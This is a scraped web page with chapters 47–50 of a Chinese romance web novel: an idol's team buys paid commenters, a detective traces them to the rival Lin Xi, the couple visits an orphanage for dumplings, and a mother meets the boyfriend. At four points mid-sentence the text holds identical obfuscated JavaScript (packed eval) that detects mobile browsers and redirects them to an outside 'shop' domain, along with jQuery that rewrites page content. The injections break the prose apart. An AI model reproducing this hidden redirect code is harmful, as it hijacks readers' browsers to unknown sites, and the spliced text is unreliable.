“我之前就告诉过你了，这种热度不能要，你怎么最近总是急功近利的？小奚，你真的应该——” “我知道，青婉姐！”林奚怕张青婉的话被齐光茂听见，于是不得不打断张青婉的话，“给你添麻烦了，这次过后，我给工作室的小伙伴们发奖金吧。” 齐光茂在一旁本就无措，他本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997682|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为是自己这次选的地方不好，导致了现在这个局面。一听居然还有补救措施，直接大手一挥：“这笔钱我来出，算我的赔罪了。” 林奚挂了电话，安慰地拍了拍齐光茂的胳膊：“没事，不怪你的。那些代拍无孔不入，我也没想到会有这样的事情。” 齐光茂顿时感动地抓住林奚的手：“小奚，谢谢你。” 在工作室和保安的共同努力下，造成拥堵的人群总算是疏散了。 但这次的事情在网上的舆论迅速发酵，很快便登顶了热搜。 毕竟不是什么光彩的事情，网友言论也从不留情面。 【又是这个林奚？怎么每次看见他都没什么好事？】 【真是同情饭馆的顾客，本来好好的吃着饭呢，遇到这种事情……】 【林奚的粉丝真是各种意义上的没素质，讨厌！】 【上次从他阴阳D神的那件事我就看出来了……这个林奚不简单】 【跟林奚吃饭那个男人，是不是才官宣了电竞国家队的那个啊？】 【感觉有点像。】 但也有不少粉丝坚持为林奚反黑—— 【粉丝行为请勿上升偶像】 【不要以偏概全，我们奚粉大多数都是理智粉。】 【哪儿来的水军？骂人都不知道换词，滚粗！】 …… 鹿溪午靠在椅背上吃瓜吃得嗨皮，他甚至都有点同情林奚了——啧啧啧，被骂得好惨。 饶是在全网喷的环境下，也有一小撮奚粉在顽强地反黑，堪称年度最佳粉丝。 谢嘉在一边也看得津津有味，时不时还跟鹿溪午讨论一下。 被意外一耽搁，这顿晚饭的时间出乎意料的长。贺存在晚上还有一点工作，正打算叫停两人的热火朝天时—— 一条令贺存久等了的消息正巧来临。 是来自调查两个多月前，在网上造谣抹黑鹿溪午的私家网络侦探。 [‘潜鱼’出现。] 原本的那家水军空壳公司无处追查，只能从他们常用的账号组服务器反向追查，只要水军公司再次使用相关账号进行操作，网络侦探这边就会收到消息，并立即追踪。 “潜鱼”是这帮空壳水军的代号。 贺存的眼眸沉沉，面上迅速划过一丝冷意：[是谁？] 很快，侦探便把水军的IP发到了贺存邮箱，还有很多有关这个公司的成员名单和往来款项。 在琳琅满目的汇款方中，有几个账号被侦探用红圈圈出。 [这几个账号的汇款时间跟鹿先生被黑的时间高度重合，应该就是他们在背后收买水军，操纵舆论。] [经初步调查，这几个账号都跟林奚工作室有或多或少的联系，具体证据我们还在调查。] [另，这次能摸到这个水军公司，全因为他们在网络上大量为林奚发布反黑言论，所以才能顺藤摸瓜。] 贺存看完邮件，眸中冷意更甚，之前林奚跟鹿溪午的小打小闹，他也不会动真格去对付林奚，只是给了他一个小小的教训。 没想到林奚居然胆子这么大，敢真的动到鹿溪午头上来。 贺存冷冷垂眸，盯着手机上的邮件中林奚两字，既然林家不要他的小斑比，那么由他来护着好了。 47.坦白 饭后，贺存难得良心发现，开车送了谢嘉回酒店。 坐在副驾驶的鹿溪午噼里啪啦地打着字，看样子是在跟谁发消息。 要是贺存此刻没在开车的话，一定能发现鹿溪午此时的手机屏幕上正是备注名为【大佬】的对话框。 [感谢大佬的建议，我和他在一起了。] [红包][红包] [一点小小的心意，大佬一定要收下。] [结婚的话，一定请大佬坐主桌。] 而鹿溪午没注意到的是，贺存放在车后座的外套口袋里，手机正随着他发消息的频率在震动。 直到回到家里，贺存才看见刚才的几条消息，他下意识地看了正在浴室洗澡的鹿溪午，有些心虚地隐藏了微.信的消息提醒。 “学长，我洗完了，你去洗吧。” 鹿溪午穿着宽松的睡衣，从浴室里出来，带起周遭湿润的空气，混合着沐浴乳的香味。 那是跟他相同的味道。贺存的鼻翼翕动，放下手机笑着拍拍自己身旁的沙发：“坐过来，给你擦头发。” 鹿溪午立即乖乖地坐过去，背对着贺存，任由他的动作。 “对了，上次在网上那个造谣的幕后主使，我查到了。”贺存一边擦头发，一边观察着鹿溪午的表情。 “……是一个叫林奚的小明星，你认识吗？” 猝不及防从贺存嘴里听到这个名字，鹿溪午的面容霎时一僵，机械般的重复道：“林、奚？” 贺存嗯了一声，余光观察着鹿溪午的反应：“是的，说起来他也是C大的学生呢。” 真是个意料之外情理之中的名字。 只是……他要怎么回答学长的问题呢？鹿溪午垂下眼睫，在眼下透出一小片失落的阴影。 空气顿时沉默下来，只能听见毛巾跟头发摩擦的声音。 贺存没有催促答案，反而仔仔细细把鹿溪午的头发擦干后，才低声说道：“好了，去休息吧。” 全然没有追根究底的意思。 鹿溪午转过头望向他，如同琉璃一般的眸子里都是贺存的倒影，此时他的内心难得有些忐忑：“学长，我……” “没事的，不想说就不说。”贺存拍拍鹿溪午的脑袋，身上的气息是一如既往地柔和。那是他面对鹿溪午时独有的温柔。 “有我在，不会让你受委屈的。证据已经在搜集了，一切交给我。” 那是来自贺存的安全感。 不知从什么时候开始，鹿溪午习惯了有一种名叫贺存的底气。以致他面对世界时，莫名生出一股勇气，变得不再畏首畏尾，不再害怕一脚踏空。 这是来自贺存的底气。真好，他也有人为他兜底了。 “不是不想说，只是没想好从哪里说起而已。”鹿溪午顿了顿，手指下意识地搅在一起，“那是一个很长的故事了……” 鹿溪午跟林家错综复杂的关系不是三言两语就能说清楚的。他组织着语言，尽量让自己的叙述客观一点。 贺存默默地听着，眼中的心疼之色都快要溢出来了。虽然他对这些事早有耳闻，但听鹿溪午说起又是不一样的感受，尤其是一些只有当事人知道的细节。 从林奚的敌意，到林修的反复，最后是林沂天的绝情，那份自愿放弃林氏股份的协议书，是斩断鹿溪午对亲情幻想的开始。 鹿溪午的语气很平淡，但贺存就是从中听出了哀默的心伤。 贺存张开手臂，把沉默下来的鹿溪午圈进怀里。 雨后青山的沉静香气扑面而来，鹿溪午的心也蓦然就跟着定了。他蹭着贺存的颈窝，贪婪地汲取着属于贺存的气息。 “林奚他总以为我会回林家占了他的位置，但事实上真正在林家呆了二十年的是他，林修跟林沂天也只会偏心他。” 说到这里，鹿溪午自嘲一笑：“我有时也不理解，他到底在不安什么？” 贺存对林沂天的性格略知一二，后者的价值观和决断力远比一般人要狠辣无情。林奚从小在林家长大，对林沂天的个性再清楚不过，没有价值就会被抛弃。所以他才不顾一切地要把鹿溪午踩在脚下。 不过这些人性的幽微贺存不准备对鹿溪午讲明。 环在鹿溪午腰上的手臂逐渐收紧，贺存缓声低语： “没关系，以后不会了。” “……嗯？” “以后我偏心你。” 贺存笑了起来，清越的眉眼全然没了平日里的陵劲淬砺，反而盈满和煦的暖意。 鹿溪午愣了愣，同样弯起眼睛，伸出双臂环住贺存的脖颈，凑近耳边轻轻吹风：“说好了，学长，不许反悔。” 话音未落，贺存便已经一把摘了眼镜，欺身吻了上来，未出口的尾音便全数淹没在唇齿之中。 鹿溪午被迫倚在沙发靠背上，仰着头承受着来自贺存隐没在沉稳表象下的疯狂。肺里的空气被逐渐剥夺，实践经验为零的鹿溪午早就忘了呼吸。 贺存微微起身，将双颊酡红的鹿溪午尽收眼底，又觉得好笑般吻了吻他的颈侧：“连换气都不会，还敢来招我？” 鹿溪午推开贺存，撇嘴轻哼一声道：“谁说我不会了？我忘了而已。” 贺存没有拆穿这只梗着脖子不承认的小斑比，只解开了自己衬衫的两颗扣子，起身道：“我去洗澡了。” 鹿溪午啧了一声，目光长久地停留在贺存解开的领口，脑袋也随着贺存的移动而转动。 关上浴室的门，隔绝了来自鹿溪午过于炽热的目光，贺存无奈地摇摇头：记吃不记打，真不知道是跟谁学的。 “你的这些心思都是跟谁学的？！” 张青婉气急败坏，就差指着林奚的鼻子骂了。面对网上几乎是一面倒骂声，就连这位金牌经纪人也不由得眼前一黑。 “这个事情本来可以避免，你为什么要默许代拍跟着？炒CP的热度对你有什么好处？！” 林奚梗着脖子，半分不肯低头：“我是为了winn家的代言，我比另一个候选人的热度低太多了。” “那你就要拿自己的路人缘去赌吗？！”张青婉的胸膛剧烈起伏，恨铁不成钢地锤了一把桌子。 “这个代言很重要，关系到第二首专辑的发行。为了保证明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009706|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年我的商业价值，我必须赌一把。” “别拿这话搪塞我。”张青婉根本不接受这个解释： “winn的代言丢了，不过专辑的发行会推后一些，也许会对你明年的商业价值有影响，也许不会，但从长远来看，并不影响什么。” “你究竟受什么刺激了？急功近利并不是你的风格，林奚？” 林奚垂着脑袋并不搭话，整个人蜷缩在沙发的阴影里。现在的他跟荧幕上那个阳光开朗的形象完全相反。 张青婉叹了口气，还是尽心尽力地给林奚擦屁股。 “算了，这次我联系了之前跟我合作的水军公司，尝试看看能不能扭转舆论。要是不行的话，你就出来道个歉，冷处理两三个月，自然也不会有人记得了。” 此刻的林奚还在翻阅着网友的评论，但在娱乐圈混久了，渐渐他就不把网友的评论给放在心上了。 他看着自己的话题度频频上涨，但大多都是骂声，维护的粉丝言论一半还都是他们买来的水军。 真是狼狈。 林奚冷冷地捏住手机，却收到了来自齐光茂的消息。 [小奚，实在抱歉，连累你出了这么大的事情，我联系了好的公关团队，等会儿我会发一则声明，把事情都揽到我身上的。] [对了，你把你团队的联系方式给我吧，等会儿我们好配合。] 林奚目光幽深，把手机上的聊天记录展示给张青婉看：“青婉姐，你看，替罪羊来了。” 张青婉仔细看完齐光茂的两条消息，欲言又止地看了林奚一眼：“你确定？我看这人对你挺好的，你不要做让自己后悔的事。” “青婉姐，我从来不后悔。” 林奚眸色冷沉，手机屏幕的荧光反射在他的眼底是一片漠然的底色。 [那可不行，这件事跟你又没有多大关系。] [怎么会没关系？！我看见你发的朋友圈了，你的经纪人是叫张青婉吧？我现在就叫人联系她。] 林奚放下手机，瞧着张青婉，似乎实在等待什么。 片刻，张青婉的手机就毫无疑问的响了起来。 张青婉复杂的看了林奚一眼，终于还是接起了电话。 跟齐光茂那边沟通完后，张青婉疲惫地走出休息室，把这次的情况一五一十地汇报给林修。 远在美国的林修当然知道林奚急功近利的原因，但他不能对张青婉这个外人说明，只能给她涨工资。 林修挂断电话，向后靠在椅背上，纽约的阳光自巨大的落地窗照射而进，他整个人就陷在阴影里。 林沂天自从知道鹿溪午的真实价值后，对林奚的关注可谓是一天不如一天。尤其是林氏最近看着好像鲜花着锦，烈火烹油之盛；内里其实已经是独木难支了。 林修不是不知道父亲的意思，一个不能为林氏带来价值的人，是不值得继续在他身上投资的。之前的纵容是因为血缘的关系，但后来…… 他是有些怨恨父亲的冷酷市侩的。其实，林氏多一个林奚又会怎么样呢？难道这二十年来相处的时光和付出的感情都是假的吗？ 48.饺子 星河直播已经走上了正轨，贺存也不需要整日盯着星河的进度了。 倒是谢嘉领了一个经理的头衔，忙得脚打后脑勺，这个年估计都得留在海滨过了。 “要不是我老家就在海滨，我一定不会答应你过来帮忙。”谢嘉顶着硕大的黑眼圈，怨念地开口，“我要求涨薪。” “节假日的加班费会按照规定发给你的。”贺存签下最后一份文件，斜觑着谢嘉不善的脸色，“今年特殊，我跟财务说了，新年的慰问金翻一倍。” 谢嘉闻言立马来了精神，腰也不酸了，腿也不痛了，甚至觉得自己还能再战三百回合：“好的老板，谢谢老板，我去工作了，提前祝你新年快乐哦。” “行了，我下午就回京城，有事给我电话。”贺存翻出自己的车钥匙，最后叮嘱谢嘉一番后，扬长而去。 鹿溪午的行李昨天就邮了回去，下午跟贺存上飞机时极为轻便。 熟悉的头等舱里，鹿溪午挠挠额头：“那个星河直播就放在海滨了吗？不用再管了吗？” “星河发展的大方向已经确定，负责人和华曙派来的总经理也接洽完毕了，剩下的事情交给他们就好。” 听了贺存的话，鹿溪午似懂非懂地点点头：“放养政策啊……” “那倒也不是。”贺存耐心解释，“有职业经理人在，不算放养。” 鹿溪午点点头，忽然转过头严肃地问：“那万一职业经理人是对手公司派来的卧底呢？这样他偷你们标书，拷贝内部数据，岂不是很方便？” “侵犯商业秘密罪最高可以判十年。华曙的法务部不是吃素的。”贺存说得风轻云淡，仿佛已经经历过无数次的模样。 鹿溪午砸摸着下唇，瞬间脑补出一部商业大片：“哇哦，这才是商战吗？我还以为短视频里那些浇死发财树，替换财神像的是真的呢。” “……你少看点这些东西。”贺存无奈扶额，不能想象自己让助理去浇死对面发财树的样子，“赶紧休息会儿吧。” 鹿溪午眨眨眼，拉长了语调：“好哦。” 等飞机一落地，鹿溪午第一件事就是跟鹿奶奶报平安。 这应该是在孤儿院过的最后一个新年了。因为鹿奶奶的身体，孤儿院的搬迁工作不得不提前举行，过完年后，孤儿院剩下的孩子跟护工阿姨都会并入市福利院里。 鹿溪午有些伤感地挂掉电话，看着车窗外飞快倒退的景色，深深叹了口气。 一只温暖干燥的手抚过膝头，握住鹿溪午因冬日晚风吹拂而微凉的指尖。 “怎么了？” 贺存没有开车，跟鹿溪午一起坐在后排。前方驾驶座上的司机极为专业，目不斜视地开着车。 “鹿奶奶说明天孤儿院包饺子，这是最后一次在院子里过新年了……” “明天不是才二十九吗？” “因为除夕有几个护工阿姨要回家过年，所以孤儿院都是二十九吃饺子的。鹿奶奶包饺子的手艺可好了，馅料也调得好吃，小时候我们经常因为谁吃最后一个饺子而打架……” 鹿溪午眯起眼睛，难得露出几分回忆的怔然：“没想到时间过得这么快——学长，我们明天回孤儿院看看鹿奶奶吧。” 贺存垂眸，眼底清晰地映出鹿溪午轮廓清晰的脸，声音渺渺：“我们……” 鹿溪午反扣住贺存的手：“我们。” . 当两人一起来到孤儿院大门前的时候，鹿奶奶笑得都快合不拢嘴了。 趁着贺存去后备箱拿礼物的时候，鹿奶奶拉着鹿溪午的手，挤眉弄眼道：“这是……成了？” 鹿溪午半抚着老人家的手臂，轻咳一声：“唔……嗯。” “好呀！”鹿奶奶顿时喜笑颜开，“今天我亲自下厨，给你们好好做一顿！” 鹿溪午不得不拉住过于兴奋的老人家：“医生让您静养，您就别操心了。” 贺存双手提着花花绿绿的年货，略显艰难地摁下锁车的钥匙。如果不是他本身修长的比例，看起来倒像是一只蹒跚学步的企鹅。 直到走进孤儿院里，护工阿姨们才把各式各样的年货从贺存手上取下来。 此时院里的空地上已经摆好了两张长桌，桌上堆满了包饺子用的食材——面粉，鸡蛋，两扇猪肉和各色的蔬菜。 小孩子们就乖乖待在一旁，望眼欲穿，恨不得马上把这堆食材变成热气腾腾的饺子。 鹿溪午的孩子缘向来很好，一回到孤儿院里总是被一群小萝卜头围起来。 “溪午哥哥！” “耶——溪午哥哥回来啦！” “哥哥带吃的了嘛？我馋好久啦了。” 贺存站在一旁，看着鹿溪午被小孩子缠得手忙脚乱的样子，脸上带着连他自己都没察觉到的温柔笑意。 “很可爱吧。” 鹿奶奶的身体尚未痊愈，腰背有些佝偻，但她仍然指着院子里闹做一团的孩子，笑眯眯地问贺存。 “嗯，可爱……”贺存下意识地点头，也不知实在说谁，“鹿奶奶？您？” 鹿奶奶笑呵呵地转过脸，目光继续落在院子里的孩子们身上。 她这一生囿于这个小院，从年轻时选择这条路开始，她就没后悔过。这方小小的天地不仅承载着许多孩子的童年，也是她的一辈子。每一个从孤儿院走出的孩子，鹿院长都希望他们过得更好。 但鹿溪午是不同的。 他是唯一一个鹿院长从小带到大的孩子。 每当报纸新闻夸赞鹿院长的无私时，她总会想：她不是的，她也有私心，她的私心在鹿溪午身上。 看到这个身世坎坷的孩子遇见一个真正爱他的人，是作为鹿院长最大的私心了。 刚才贺存注视鹿溪午的眼神，被鹿奶奶尽收眼底，那是一双再温柔缱绻不过的眸子了。 真好。 鹿奶奶欣慰地想。 “院长，时间差不多了，咱们开始包饺子吧。” 鹿奶奶年纪大了，身体又不好，众人便没让她参与。老人家觉得自己被小看了，气呼呼的搬了个小板凳坐在一旁“指点江山”。 贺存主动接了难度最大的活——揉面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019967|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团。 要揉出够所有人吃的饺子皮面团，贺存恐怕得劳累一番。 鹿溪午一边剥葱，一边看着贺存有条不紊地往不锈钢盆里倒面粉，加水，搅拌，然后上手揉成一个光滑的面团。 身上碍事的羽绒服被贺存丢到椅子上，毛衣挽至手肘，露出健硕的小臂。伴随着揉面的动作，贺存小臂上的肌肉线条若隐若现，几条交错的青筋血管充满了张力。 看得心痒痒的鹿溪午忍不住戳了戳贺存的手臂：噫，好硬。 贺存正揉着面团，没空去管作乱的鹿溪午，只能毫无威慑力地瞪了他一眼，却换来了某人的变本加厉。 鹿溪午仗着所有人的注意力都在和肉馅的那边，更加放肆地挠着贺存的肘弯。 贺存咬着牙把揉好的面团用蒸笼布包好，左手迅速地沾了面粉，糊到了鹿溪午的脸侧。 被蹭了半脸面粉的鹿溪午怒瞪着贺存，那清澈的眼眸似藏着万千星辰，熠熠生辉，让人看了心生欢喜，深陷其中，难以自拔。 “哟？你俩怎么搞的，怎么弄成这个样子了？” 鹿奶奶“巡视”到两人身边，一眼便瞧见了鹿溪午的新造型：“快去洗洗，这么大人了怎么跟个小孩子似的……” 真是好大一口锅从天而降。 鹿溪午正准备供出罪魁祸首，却余光瞥见某祸首已经正经地开始揉第二份面团了。 “小存真是不错啊，一看就是经常在家里下厨吧？” “鹿奶奶过奖了，我只是留学的时候学过一阵子，并不经常下厨。” “诶！跟奶奶谦虚什么……” 鹿溪午：可恶，敌人已经打入我方内部！ 等鹿溪午慢吞吞地打理好自己，院子里的包饺子准备工作也做完了。 两个阿姨在擀饺子皮，鹿奶奶带着孩子们包饺子，贺存就在一边切饺子皮的面剂子。 无视了来自自家男朋友炽热的目光，鹿溪午一头扎进孩子堆里跟他们一起包饺子。 这是鹿溪午掌握的为数不多的熟练的厨房技能。他的动作很快，一收一放间，一个饱满圆润的饺子就排列在了案板上。 这样的“神技”很快便吸引了孩子们的眼球。 他们大多对包饺子都不熟练，包出来的饺子不是馅儿多了被胀破了，就是太少了看起来瘪瘪的。 “溪午哥哥好厉害！” “哥哥帮我看看这个饺子吧，它好像快破了。” “先帮我，帮我！” 鹿溪午被缠得没办法，只能挨个给小孩子手里的饺子“修饰”。破了的揪点皮给补上，瘪瘪的就捏紧一点，去掉多余的皮边。 鹿奶奶默默地退到一边，欣慰地拍了拍胸口。 贺存手下动作不停，看着在孩子堆里称王称霸的鹿溪午，眼中的笑意盈盈好似一汪春水。 他想，他或许知道为什么鹿溪午能成长为现在这个样子了。这所孤儿院的温柔和包容，早就不知不觉地融进了鹿溪午的骨血。 也许前方道路仍旧泥泞，但独属于灵魂的第一盏灯，永不熄灭。 49.见家长 跟孤儿院的众人吃完一个愉快的晚餐后，鹿溪午跟每一个护工阿姨和孩子一一道别，最后站在孤儿院的门口等贺存出来。 几分钟前，鹿奶奶把贺存神神秘秘地叫到了院长办公室里去了，不知道说了些什么，贺存出来时手里就多了一个牛皮纸袋。 鹿溪午疑惑地瞅着褐色的纸袋：“什么东西啊？” 贺存则是微微一笑，从袋子里拿出一张泛黄的旧照片：“看看这是谁？” 照片的边缘有些褪色变黄，但仍能从其中看出照片的主人公的模样：一双漂亮的琥珀色眼睛微微向下，嘴唇羞涩地抿起，冲镜头露出一个略显生疏的笑容。 鹿溪午瞪大了眼睛，旋即反应过来，作势要抢——“鹿奶奶怎么把这个都给你了？！” “怎么了？多可爱呀。”贺存敏捷地侧身躲过来抢照片的手，还一把稳住了鹿溪午没站稳的身体。 两人顿时交叠在一起，鹿溪午的脸就落在了贺存的颈窝，灼热的呼吸就落在他的头顶，蒸腾的热意顿时从头到脚蔓延全身。 太近了。 贺存有半分的失神，近得只要一歪头，鹿溪午的脸就能贴到他颈侧的皮肤。 鹿溪午眼中闪过一丝灵动慧黠的神色，以迅雷不及掩耳之势一把抽出了他手里的照片。 “我抢到啦。” 贺存：……中计了。 其实这是鹿奶奶送给贺存的新年礼物，他对这份礼物非常喜欢，透过照片定格的时光，令贺存有一种参与鹿溪午的过去的错觉。 贺存捏紧了手里剩下的照片纸袋，看了眼欢喜的鹿溪午，纵容地叹口气：“那是你自己的照片，就不能小心点？不过除了这张，我还有其他的，想看看吗？” 闻言，鹿溪午顾不上高兴，回首瞪着贺存手里的纸袋：“鹿奶奶什么时候拍了这么多照片？” “我还要感谢鹿奶奶呢，让我以这种方式参与你的过去了。”贺存珍惜地拂过纸袋，又复望向对面的人。 孤儿院门口暖黄的灯光洒在鹿溪午的背后，恍惚给人渡上了一层朦胧的光晕，仿佛来自旧世界的旅人。 “什么时候我们一起看看这些照片吧？你给我讲讲你小时候的事？” 鹿溪午一瞬间从贺存望向他的眼睛里看到了许多东西，但最终都化为了一片沉静的汪洋，倒映出自己一个人的影子。 “……好。”鹿溪午笑笑，修长的眼睫轻轻颤动，投下一小片的阴影，“不过作为交换，你小时候的照片呢？” 贺存的动作顿了顿，声音听起来跟往常并无区别：“我小时候……没有照片。” 几乎是一瞬间，鹿溪午就想到了贺存家里的复杂情况，懊恼地垂了眼神：“学长，对不……” “嘘，不需要说对不起。”贺存拍拍鹿溪午的脑袋，“跟你一点关系都没有。” 孤儿院门口的灯光渐渐远去，黑暗的陋巷中，鹿溪午看不清贺存的神情。 黑暗中，贺存自然而然地牵起鹿溪午的手，把纸袋珍重地塞进鹿溪午空着的另一只手上，拿出手机打开电筒：“帮我拿好哦。” 眼前的道路顿时被一束白光照亮，就连空气中细小的微尘飘浮都清晰可见。 手掌的肌肤相贴，鹿溪午能明显地感觉到贺存掌心的纹路，微痒的摩擦触感从敏感的掌心传来，但却令鹿溪午异常心安。 这条儿时放学回家的漆黑小巷，一时间也显得没那么可怕起来。 “学长，不需要照片，你也可以讲给我听呀。”鹿溪午的手掌微微用力，像是在安慰回应贺存的话，“我们互相交换过去的故事，一个换一个好不好？” “好。”贺存回望向鹿溪午，“明天除夕，你要和我一起过吗？” “可以吗？你不会——” “不会。我只会在初五的时候跟父母一起回一趟老宅。”贺存又复捏了捏鹿溪午的手，“我可以和你一起过年。” 鹿溪午弯了眉眼，看起来灵动明湛得令人神往：“好啊，学长。” . 午后阳光照进店内，照亮了橱窗中的KFC的金色字母招牌，空气中弥漫着炸鸡和芝士汉堡的香气。 因为是除夕的缘故，店内播放着欢快的音乐，旋律激昂，节奏明快，间或传来孩子们的欢呼声和顾客的交谈声。 鹿溪午面前放着两个托盘，上面是金黄色的炸鸡块和热气腾腾的薯条，杯子里的可乐正往上冒着气泡。 坐在鹿溪午对面的女人一身简洁大方的套装，颜色深沉而不失质感。坐姿得体，背部挺直，两手轻放在膝盖上，显得从容优雅。 鹿溪午却忍不住叹了口气：事情究竟是怎么发展到这一步的？ 今天一大早，鹿溪午按照约定准备前往贺存家中过年。刚走到楼下还没来得及叫车，就被一个女人拦住了。 “你是鹿溪午吧？你好，我是程寅雪，是贺存的……母亲。” “啊？……啊。” 程寅雪的第一句话就成功让鹿溪午大脑宕机，愣在原地，只呆呆地点了点头承认自己的身份。 “那我就开门见山了，我是来找你谈谈的。” 鹿溪午机械地点点头：“附近有一家咖啡馆，我带您去坐着说吧。” 五分钟后，鹿溪午和程寅雪同时在写着“暂停营业”的咖啡馆门口沉默。 “对了！今天是除夕！”鹿溪午一拍脑袋，有些歉意地看向程寅雪。 “附近的商店可能都关得差不多了，要不……”鹿溪午的目光落在了马路对面门庭若市的KFC上，磕磕巴巴地建议，“那个，您对快餐感兴趣吗？” 直到坐在靠近橱窗的位置上，鹿溪午才猛的反应过来—— 哪有第一次跟对象长辈见面的地点约在肯德基的？！ 救救我救救我救救我—— 鹿溪午内心慌得一批，表面却稳如老狗，这大概是多年电竞生涯锻炼出来的心理素质吧。 “您请说，我都听着。” 程寅雪轻轻拂开衣服上的薯条碎屑，有些冷淡地开口： “你知道小存从来不吃快餐吗？” 鹿溪午：？ 鹿溪午：不是，他追我的时候吃汉堡吃得挺欢的呀？ “我大概能理解年轻人喜欢吃这些的心情，但……小存从来就和其他同龄人不一样，他不喜欢吃这些。” 程寅雪锐利的目光令鹿溪午明白了什么，他恍惚间觉得下一秒就会发生“给你一百万离开我儿子”的经典戏码了。 犹豫间，鹿溪午还是开口了，“不是这样的。” “嗯？”程寅雪的手指微动，漫不经心地擦过装可乐的塑料杯子上的水珠。 “其实学长很喜欢汉堡王的双层芝士牛肉汉堡的，只不过是每次吃完就得多运动一小时而已，所以他很少吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027166|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过我倒觉得，他对自己的身材管理可以不用这么严格，健康就好了。” 程寅雪面色不变，手指在桌子上有节奏地轻扣，仿佛并未被鹿溪午的反驳影响：“小存对自己的要求一直都很高，不过作为母亲，我更希望他能在其他方面要求高一些。” 其他方面？鹿溪午眸光轻闪，没有说话。 “小存未来要继承我跟他爸爸的位置，我希望他能在这条注定不平顺的道路上轻松一些。有时候，有些手段是必要的。” “我大概知道您今天的来意了。您为他选的这一条路，学长自己愿意走吗？” 鹿溪午笑了起来，那双好看的浅色眼睛微微眯起，像是一只没有丝毫攻击性的鹿。他看向坐在自己对面的程寅雪，语调温和地指出： “他不愿意，对吧？否则您今天就不会来找我了。” 这句话像是戳到了程寅雪的痛处，修剪整齐的指甲划过桌面，刺啦的一声在这个餐厅里并不明显。 “看来你很聪明。” 鹿溪午全把这句话当作夸奖，咧开嘴笑着：“是啊，从小长辈们就这么说我。” 程寅雪盯着鹿溪午看了半晌，终是叹了口气：“小存是我的孩子，我自然想留给他最好的，只是……” “程阿姨，您完全可以相信学长。毕竟他可是我们学院的学神啊，就连现在，全系有不少课程都还在用学长那时留下的期末复习资料呢！” 鹿溪午眨眨眼，语气中满是对贺存的笃定：“他一定可以的。” 平心而论，鹿溪午一直是一个很讨长辈喜欢的孩子。孤儿院里的护工阿姨们和偶尔上门的志愿者，面对鹿溪午时都会下意识地柔和语气。 “是吗……” 程寅雪沉思了好一会儿才复抬起头看向鹿溪午，“我其实知道让他答应希望不大，小存从小……就很固执，只是我不愿轻易放弃而已。你是个好孩子，希望今天的事情你不要放在心上。” 鹿溪午摇摇头：“您这就要走了吗？今天不是除夕……？” “没事，我们已经好多年没有一起过除夕了，而且晚些时候我还有会。”程寅雪拿起自己的包起身准备走，“对了，祝你和小存除夕快乐。” “嗯！阿姨你也是。” 走出肯德基的大门，程寅雪上了停在路边的车。她在驾驶位扣好安全带，想了想还是给贺存去了电话。 “喂？” “小存。”程寅雪顿了顿，说出了一个用了好多年的理由，“今天除夕，我在公司还有些事，今晚——” “我知道了，我会安排好自己的事情的。”贺存冷沉的声音透过话筒传来。 街边热闹的除夕景象透过车窗隐隐约约地印在程寅雪眼前，有几家店铺里播放的新年音乐声甚至在车里也能听见。一家三口相携从程寅雪价值不菲的车边走过，走在中间的小男孩身上正穿着崭新的衣服。 这里到处都是除夕团圆的气息。 寂静车内空间里，程寅雪紧了紧喉咙：“小存……我想，你不要重复我的人生吧。” “妈？”贺存有些莫名，“您说什么？” 程寅雪望着那走过的一家三口的背影，年轻的母亲正俯下身子听着小男孩的话语，脸上洋溢着宠溺的笑意。 这一刻，程寅雪忽地如释重负般地笑笑：“我现在觉得，不联姻也挺好的。你去过自己的生活吧。” 50.除夕 贺存放下手机，站在客厅中央良久，把手里的白色靠枕放回沙发上。 刚才他正收拾着房子里的客厅，家里的钟点工前天就放假了，贺存不得不自己动手整理屋子。 这个靠枕是鹿溪午喜欢的，之前的台风夜鹿溪午来借宿时贺存就发现了。 也许是受了一点程寅雪的话的影响吧，只要一想到鹿溪午靠在沙发上抱着白色靠枕的样子，贺存就控制不住地想见他。 